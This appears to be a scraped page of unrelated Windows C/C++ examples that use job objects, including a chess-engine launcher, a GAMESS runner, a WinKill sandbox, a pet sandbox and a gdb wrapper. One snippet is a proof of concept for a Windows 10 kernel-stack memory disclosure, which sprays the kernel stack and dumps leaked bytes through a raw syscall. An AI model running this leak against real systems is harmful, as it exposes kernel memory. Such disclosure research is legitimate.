					strcpy(m_engine_path, "Data/Engines/Critter_x86.exe");
					checkProcess("Critter_x86.exe");
				}
				break;

			case ENGINE_CUSTOM:
				strcpy(m_engine_path, "Data/Engines/Custom.exe");
				break;

			default:
				throw std::runtime_error("No valid engine found");
				cleanup();
				return false;
		}

		// attempt to launch the process
		engine_started =
			CreateProcess(m_engine_path, 
						  NULL,
						  NULL,
						  NULL,
						  TRUE,
						  0,
						  NULL,
						  NULL,
						  &m_si,
						  &m_pi);

		if(!engine_started){
			if(engine > 0)
				engine = 0;
			else
				++engine;

			continue;
		}

		break;
	}

	// assign the job to the process
	if(jobSuccess){
		jobSuccess = AssignProcessToJobObject(m_hJob, m_pi.hProcess);
	}

	// change states
	//m_active = true;
	//m_thinking = true;
	
	// set process priority to below normal to prevent destruction of the CPU
	SetPriorityClass(m_pi.hProcess, BELOW_NORMAL_PRIORITY_CLASS);

	// set AI to active
	if(engine_started){
		m_active = true;

		// start the state machine thread
		(void)CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&InitThread, this, 0, 0);
	}

	return true;
}
Пример #26
0
/*! 
 *
 * Starts the job running and sets the status code to STATUS_RUNNING.
 * 
 * The windows implementation of this function opens a new process for
 * GAMESS and redirects stdout to a log file handle and redirects
 * stderr to NUL. The process is created in a suspended state, and the
 * added to a new windows job object before it is resumed.
 *
 * \par Notes of explanation concerning the implementation of Start:
 * In order to make cshell happy, you must provide it with valid standard
 * output and standard error handles. If either of the above is missing, cshell
 * will simply quit with an exit status of 1, and nothing will happen. Standard
 * output goes to the log file anyway, so that one is obvious. In order to
 * provide a valid standard error handle, I used the windows NUL file.
 *
 * \par
 * The process is created in a suspended state, added to the job object and
 * then resumed. The reason for this is because when you run a script with
 * cshell, the first thing it will do is fork and start running other processes
 * as described by the shell script. In order to make sure that all of its sub
 * processes are part of the job object, it must be added to the job object
 * before it has a chance to do anything. Since we have no guarantee as to when
 * the sub-process will start getting processor time, it is suspended until we
 * know it has been added to the job object.
 *
 * \sa WindowsJob::mProcessHandle
 * \sa WindowsJob::mJobHandle
 */
void WindowsJob::Start()
{
	// set this here, so we don't accidentally start it twice
	mStatus = STATUS_RUNNING;

	// try to find gamess
	wxString gamessname;
	if (gamessDir.IsEmpty()) {
		wxPathList SystemPath;
		SystemPath.AddEnvList(wxT("PATH"));
		gamessname = SystemPath.FindAbsoluteValidPath(wxT("rungms.bat"));
	} else {
		wxFileName name(gamessDir, wxT("rungms.bat"));
		name.MakeAbsolute();
		gamessname = name.GetFullPath();
		if (! wxFileExists(gamessname)) {
			gamessname = wxT("");
		}
	}

#ifdef DEFAULT_GAMESS_PATH
	if (gamessname.IsEmpty()) {
		wxStandardPathsBase& gStdPaths = wxStandardPaths::Get();
		gamessname = gStdPaths.GetResourcesDir() + wxT(DEFAULT_GAMESS_PATH) +
				wxT("/rungms.bat");
		if (! wxFileExists(gamessname)) {
			gamessname = wxT("");
		}
	}
#endif

	if (gamessname.IsEmpty()) {
		wxLogError(wxT("Could not find GAMESS"));
		mStatus = STATUS_ERROR;
		return;
	}

	// clean up old temp stuff so ddikick doesn't fail
	CleanUpTempFiles();

	wxFileName dest(GetSpoolFileName());
	dest = wxFileName(gamessDir + wxT("\\scratch"), dest.GetName());
	dest.SetExt(wxT("F05"));
	wxString debug = wxT("Copying file from ") + GetSpoolFileName();
	debug << wxT(" to ") << dest.GetFullPath();
	wxLogDebug(debug);
	wxCopyFile(GetSpoolFileName(), dest.GetFullPath(), true);


	// generate the command
	wxFileName name(gamessname);
	name.SetFullName(wxT("rungms.bat"));
//	name.SetFullName(wxT("csh.exe"));
//	name.MakeAbsolute();
	wxString command = name.GetFullPath();
//	name.SetFullName(wxT("runscript.csh"));
//	command << wxT(" -e -f ") << name.GetFullPath();
	name = wxFileName(GetSpoolFileName());
	command << wxT(" ") << name.GetName();
	command << wxT(" 13-64.pgi.linux.blas ");
	command << mNumProcessors;
//	command << wxT(" ") << gamessDir;
//	command << wxT(" ") << wxGetHostName();
	wxLogMessage(wxT("Exec: ") + command);

	// set up the security attributes for the input and output handles
	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(sa);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = true;

	// create a the log file and it's handle
	name.SetExt(wxT("log"));
	name.MakeAbsolute();
	HANDLE logFileHandle = CreateFile(name.GetFullPath(), GENERIC_WRITE,
			FILE_SHARE_READ, &sa, CREATE_ALWAYS, 0, NULL);
	if (logFileHandle == INVALID_HANDLE_VALUE) {
		LOG_ERROR("CreateFile");
	}

	// make a null handle for stderr
	HANDLE nullHandle = CreateFile(wxT("NUL"), GENERIC_WRITE,
			FILE_SHARE_READ, &sa, CREATE_ALWAYS, 0, NULL);
	if (nullHandle == INVALID_HANDLE_VALUE) {
		LOG_ERROR("CreateFile");
	}

	// create a new STARTUPINFO object with the newly created handles
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	si.wShowWindow=SW_HIDE; // hide the window
	si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.hStdOutput = logFileHandle;
	si.hStdInput = NULL;
	si.hStdError = nullHandle;

	// create a new PROCESS_INFORMATION object
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));

	// create a new job
	mJobHandle = CreateJobObject(NULL, NULL);
	if (! mJobHandle) {
		LOG_ERROR("CreateJobObject");
	}

	// now we create the actual process, it needs to be created in a suspended
	// state so that we can assign it to the job object before it gets a chance
	// to spawn any more processes.
	if (CreateProcess(NULL, (wxChar *)command.wc_str(), NULL, NULL, true,
		CREATE_SUSPENDED, NULL, spoolDir, &si, &pi)) {
		if (! AssignProcessToJobObject(mJobHandle, pi.hProcess)) {
			LOG_ERROR("AssignProcessToJobObject");
		}
		mProcessHandle = pi.hProcess;
		ResumeThread(pi.hThread);
	} else {
		mStatus = STATUS_ERROR;
		LOG_ERROR("CreateProcess");
		mStatus = STATUS_ERROR;
		mProcessHandle = NULL;
		CloseHandle(pi.hProcess);
	}

	// close our side of the IO handles
	CloseHandle(logFileHandle);
	CloseHandle(nullHandle);

	// we don't need this one anymore
	CloseHandle(pi.hThread);
}
Пример #27
0
int main(int argc,char *argv[])
{
	if(argc<4)
	{
		printf("WinKill v. 2.7\n");
		printf("usage : %s <timelimit,sec|ms> <memorylimit,kb> <exename> <args>\n",argv[0]);
		printf("returns: 0 - ok\n"
			   "         1 - run-time error( nonzero exit code )\n"
			   "         2 - process time limit exceeded \n"
			   "         3 - memory limit exceeded\n"
			   "         4 - deadlock ( system time limit exceeded )\n"
			   "\n");

		
		return 1;
	}

	if (0 == strcmp("-java", argv[1])) {
		printf("-java option is deprecated, DO NOT USE.\n");
		exception_handling = false;
		shift(argc, argv);
	}

	timelimit=0;
	sscanf(argv[1],"%d",&timelimit);
	if(timelimit==0) { printf("wrong time limit\n"); return 1; }
        if (timelimit<61) timelimit*=1000;

	memorylimit=0;
	sscanf(argv[2],"%d",&memorylimit);
	if(memorylimit==0) { printf("wrong memory limit\n"); return 1; }

	memset( &si,0,sizeof(si));
    si.cb = sizeof(si);
    memset( &pi,0,sizeof(pi));

	int r;


	LPTSTR procargs=(LPTSTR)malloc(10000*sizeof(char));
	procargs[0]=0;
	for(int i=3;i<argc;i++) 
	{
	   strcat(procargs,"\"");
	   strcat(procargs,argv[i]);
	   strcat(procargs,"\" ");
	}

	SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX);
	BOOL cp = CreateProcess(NULL,procargs,NULL,NULL,FALSE,
		CREATE_SUSPENDED // | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS 
		, NULL,NULL,&si, &pi );
	if(!cp) { printf("cannot create process %s",argv[3]); return 1; }

	SECURITY_ATTRIBUTES sa=
		{sizeof(SECURITY_ATTRIBUTES),NULL,FALSE};
	HANDLE job = CreateJobObject(&sa,"winkill25");
	if(job==NULL) { printf("cannot create job object"); return 1; }

	JOBOBJECT_EXTENDED_LIMIT_INFORMATION extlimit={
		{ 
			{timelimit * 10/**1000*/*1000,0 },
			{0,0},//{3 * 10*1000*1000,0},
		  //JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION
		   JOB_OBJECT_LIMIT_PROCESS_MEMORY |
		   JOB_OBJECT_LIMIT_PROCESS_TIME
		  //| JOB_OBJECT_LIMIT_JOB_TIME
		  //| JOB_OBJECT_LIMIT_JOB_MEMORY
		  ,0,0,0,0,0,0 
		}
Пример #28
0
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
  DWORD ReturnLength = 0;
  BYTE output[56] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("Class 12, output length 48:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("Class 12, output length 56:\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}
Пример #29
0
ActivePet::ActivePet(wchar_t* user_password,
                     std::wstring petname,
                     FileEventLoop* files) : m_petname(petname),
                                             m_files(files),
                                             m_session(INVALID_HANDLE_VALUE),
                                             m_profile(INVALID_HANDLE_VALUE),
                                             m_job(CreateJobObject(NULL, NULL)),
                                             m_next_editable_name(1),
                                             m_ticks_while_invisible(0)
{
    // Create a new logon session for the pet.
    std::wstring petRegistryPath = Constants::registryPets() + L"\\" + m_petname;
	RegKey petkey = RegKey::HKCU.open(petRegistryPath);
	std::wstring accountName = petkey.getValue(L"accountName");
    std::wstring accountRegistryPath = Constants::registryAccounts() + L"\\" + accountName;
	RegKey accountKey = RegKey::HKCU.open(accountRegistryPath);	
	std::wstring password = accountKey.getValue(L"password");
	if (!LogonUser(accountName.c_str(), NULL, password.c_str(),
				   LOGON32_LOGON_INTERACTIVE,
				   LOGON32_PROVIDER_DEFAULT,
				   &m_session)) {
        printf("LogonUser() failed: %d\n", GetLastError());
        return;
	}

    // Tweak the Winsta0 and desktop ACLs to allow the pet to create windows.
    auto_buffer<PSID> logon_sid = GetLogonSID(m_session.get());
    if (NULL == logon_sid.get()) {
        return;
    }
    auto_close<HWINSTA, &::CloseWindowStation> winsta0(OpenWindowStation(L"winsta0", FALSE, READ_CONTROL | WRITE_DAC));
	if (NULL == winsta0.get()) {
        printf("OpenWindowStation() failed: %d\n", GetLastError());
        return;
	}
	if (!AddAceToWindowStation(winsta0.get(), logon_sid.get())) {
        printf("AddAceToWindowStation() failed: %d", GetLastError());
		return;
	}
    auto_close<HDESK, &::CloseDesktop> desktop(OpenDesktop(L"default", 0, FALSE,
                                                           READ_CONTROL | WRITE_DAC |
                                                           DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS));
	if (NULL == desktop.get()) {
        printf("OpenDesktop() failed: %d\n", GetLastError());
		return;
	}
    if (!AddAceToDesktop(desktop.get(), logon_sid.get())) {
        printf("AddAceToDesktop() failed: %d\n", GetLastError());
		return;
	}

    // Load the pet account's registry hive.
    wchar_t account[128] = {};
    wcsncpy(account, accountName.c_str(), 128);
	PROFILEINFO profile = { sizeof(PROFILEINFO), 0, account };
	if (!LoadUserProfile(m_session.get(), &profile)) {
        printf("LoadUserProfile() failed: %d\n", GetLastError());
		return;
	}
    m_profile = profile.hProfile;

    // Initialize the pet job.
	if (NULL == m_job.get()) {
        printf("CreateJobObject() failed: %d\n", GetLastError());
		return;
	}
    JOBOBJECT_BASIC_UI_RESTRICTIONS buir = { JOB_OBJECT_UILIMIT_HANDLES };
	if (!SetInformationJobObject(m_job.get(), JobObjectBasicUIRestrictions, &buir, sizeof buir)) {
        printf("SetInformationJobObject() failed: %d\n", GetLastError());
	}

    // Some apps fail to launch without access to the desktop window.
	if (!UserHandleGrantAccess(GetDesktopWindow(), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}

    // Give apps access to all the standard cursors.
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ARROW), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_IBEAM), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_WAIT), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_CROSS), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_UPARROW), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZE), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ICON), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENWSE), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENESW), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEWE), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENS), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEALL), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_NO), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HAND), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_APPSTARTING), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}
	if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HELP), m_job.get(), TRUE)) {
        printf("UserHandleGrantAccess() failed: %d\n", GetLastError());
	}

    // Setup the use records for the printers.
    std::set<std::wstring> servers;
    RegKey printers = RegKey::HKCU.open(L"Printers\\Connections");
    for (int i = 0; true; ++i) {
        RegKey printer = printers.getSubKey(i);
        if (!printer.isGood()) {
            break;
        }
        std::wstring server = printer.getValue(L"Server");
        if (servers.count(server) == 0) {

            std::wstring resource = server + L"\\IPC$";
            auto_array<wchar_t> remote(resource.length() + 1);
            lstrcpy(remote.get(), resource.c_str());

            USE_INFO_2 use = {};
            use.ui2_remote = remote.get();
            use.ui2_domainname = _wgetenv(L"USERDOMAIN");
            use.ui2_username = _wgetenv(L"USERNAME");;
            use.ui2_password = user_password;
            use.ui2_asg_type = USE_WILDCARD;

            auto_impersonation impersonate(m_session.get());

            DWORD arg_error;
            NET_API_STATUS error = NetUseAdd(NULL, 2, (BYTE*)&use, &arg_error);
            if (error) {
                printf("NetUseAdd() failed: %d\n", error);
            } else {
                servers.insert(server);
            }
        }
    }

    // Add the message handlers.
    //m_requestFolderPath = accountKey.getValue(Constants::petDataPathName()) + Constants::requestPath();
    m_requestFolderPath = Constants::requestsPath(Constants::polarisDataPath(Constants::userProfilePath(accountName)));
    m_dispatcher = new MessageDispatcher(m_requestFolderPath);
    m_files->watch(m_requestFolderPath, m_dispatcher);
    m_dispatcher->add("sendmail",makeSendMailHandler());
// TODO    m_dispatcher->add("GetOpenFileNameA", makeGetOpenFileNameAHandler(this));
    m_dispatcher->add("GetOpenFileNameW", makeGetOpenFileNameWHandler(this));
	m_dispatcher->add("GetClipboardData", makeGetClipboardDataHandler());
}
Пример #30
0
int main(int argc, char** argv) {
	enum {
		 envbufsize = 1024*32
		,exebufsize = 1024
		,cmdbufsize = envbufsize
	};

	char *envbuf, *sep, *resbuf, *cmdbuf;
	DWORD len, exitCode;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	DIE_IF_FALSE(
		(envbuf = malloc(envbufsize))
	);
	DIE_IF_FALSE(
		(cmdbuf = malloc(cmdbufsize))
	);
	*cmdbuf = 0;

	DIE_IF_FALSE(
		GetEnvironmentVariable("PATH", envbuf, envbufsize)
	);
    dbg_printf("env: %s\n", envbuf);

	DIE_IF_FALSE(
		GetModuleFileName(0, cmdbuf, exebufsize)
	);
    dbg_printf("curdir: %s\n", cmdbuf);

	DIE_IF_FALSE(
		(sep = strrchr(cmdbuf, '\\'))
	);
	*(sep+1) = 0;
	strcat(cmdbuf, GDB_TO_PYTHON_REL_DIR);
	dbg_printf("sep: %s\n", cmdbuf);

	len = strlen(envbuf)+strlen(cmdbuf)
		+1  /* for envronment separator */
		+1; /* for zero-terminator */
	
	DIE_IF_FALSE(
		(resbuf = malloc(len))
	);

	DIE_IF_FALSE(
		(snprintf(resbuf, len, "%s;%s", cmdbuf, envbuf) > 0)
	);
    dbg_printf("PATH: %s\n", resbuf);

	DIE_IF_FALSE(
		SetEnvironmentVariable("PATH", resbuf)
	);

	*(sep+1) = 0;
	strcat(cmdbuf, PYTHONHOME_REL_DIR);
	dbg_printf("PYTHONHOME: %s\n", cmdbuf);
	DIE_IF_FALSE(
		SetEnvironmentVariable("PYTHONHOME", cmdbuf)
	);
	
	*(sep+1) = 0;
	strcat(cmdbuf, GDB_EXECUTABLE_ORIG_FILENAME" ");
	
	if ( argc > 1 ) {
		for ( ++argv; *argv; ++argv ) {
			len = strlen(cmdbuf);
			snprintf(cmdbuf+len, cmdbufsize-len, "%s ", *argv);
		}
	}
	dbg_printf("cmd: %s\n", cmdbuf);

	HANDLE ghJob = CreateJobObject(NULL, "Gdb-Wrapper\0"/*NULL*/);
	if ( ghJob == NULL ) {
		dbg_printf("Could not create job object\n");
	} else {
		JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 };
		// Configure all child processes associated with the job to terminate when the last handle to the job is closed
		jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
		if ( SetInformationJobObject(ghJob, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)) == 0 ) {
			dbg_printf("Could not SetInformationJobObject\n");
		}
	}

	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags |= STARTF_USESTDHANDLES;
	si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
	si.hStdError = GetStdHandle(STD_ERROR_HANDLE);

	memset(&pi, 0, sizeof(pi));

	DIE_IF_FALSE(
		CreateProcess(
			 0			// exe name
			,cmdbuf	// command line
			,0			// process security attributes
			,0			// primary thread security attributes
			,TRUE		// handles are inherited
			,0			// creation flags
			,0			// use parent's environment
			,0			// use parent's current directory
			,&si		// STARTUPINFO pointer
			,&pi		// receives PROCESS_INFORMATION
		)
	);

	if ( ghJob != NULL && AssignProcessToJobObject(ghJob, pi.hProcess) == 0 ) {
		dbg_printf("Could not AssignProcessToObject\n");
	}

	// Do not handle Ctrl-C in the wrapper
	SetConsoleCtrlHandler(NULL, TRUE);

	WaitForSingleObject(pi.hProcess, INFINITE);
	
	DIE_IF_FALSE(
		GetExitCodeProcess(pi.hProcess, &exitCode)
	);

	if ( ghJob != NULL )
		CloseHandle(ghJob);
	CloseHandle( pi.hProcess );
	CloseHandle( pi.hThread );

	free(envbuf);
	free(resbuf);
	free(cmdbuf);
	
	dbg_printf("exiting with exitCode %d", exitCode);

	return exitCode;
}